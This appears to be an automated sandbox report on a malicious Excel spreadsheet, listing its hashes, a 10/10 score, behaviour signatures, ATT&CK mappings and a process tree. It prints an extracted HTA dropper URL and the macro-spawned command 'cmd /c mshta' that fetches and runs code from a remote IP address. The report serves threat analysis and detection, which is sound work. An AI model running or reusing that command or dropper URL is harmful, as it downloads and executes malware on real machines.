Analysis

  • max time kernel
    148s
  • max time network
    157s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    28-01-2022 03:28

General

  • Target

    6c34bfd41238638109b1645b4a905388e046c01c74af482b61dc92e56b1bb2b4.xls

  • Size

    155KB

  • MD5

    877a38825398e9be7d9c3eaea352b392

  • SHA1

    df43374b9233eaa46203a6875a6379d2e3960027

  • SHA256

    6c34bfd41238638109b1645b4a905388e046c01c74af482b61dc92e56b1bb2b4

  • SHA512

    3835a242494de6c5b67eb2c586599a7356d1c704e7518f69c51fb4a36d1e6c66bd86f5a94288fad6a98310302481f593348d173260dd6ad5dc535d04fbb8fcdf

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/qqqw/aaas/se.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6c34bfd41238638109b1645b4a905388e046c01c74af482b61dc92e56b1bb2b4.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2804
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c mshta http://91.240.118.168/qqqw/aaas/se.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1604
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/qqqw/aaas/se.html
        3⤵
        • Blocklisted process makes network request
        PID:1496

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2804-116-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp
    Filesize

    64KB

  • memory/2804-117-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp
    Filesize

    64KB

  • memory/2804-118-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp
    Filesize

    64KB

  • memory/2804-119-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp
    Filesize

    64KB

  • memory/2804-120-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp
    Filesize

    64KB

  • memory/2804-129-0x00007FFD5B930000-0x00007FFD5B940000-memory.dmp
    Filesize

    64KB

  • memory/2804-130-0x00007FFD5B930000-0x00007FFD5B940000-memory.dmp
    Filesize

    64KB

  • memory/2804-289-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp
    Filesize

    64KB

  • memory/2804-290-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp
    Filesize

    64KB

  • memory/2804-291-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp
    Filesize

    64KB

  • memory/2804-292-0x00007FFD5EA00000-0x00007FFD5EA10000-memory.dmp
    Filesize

    64KB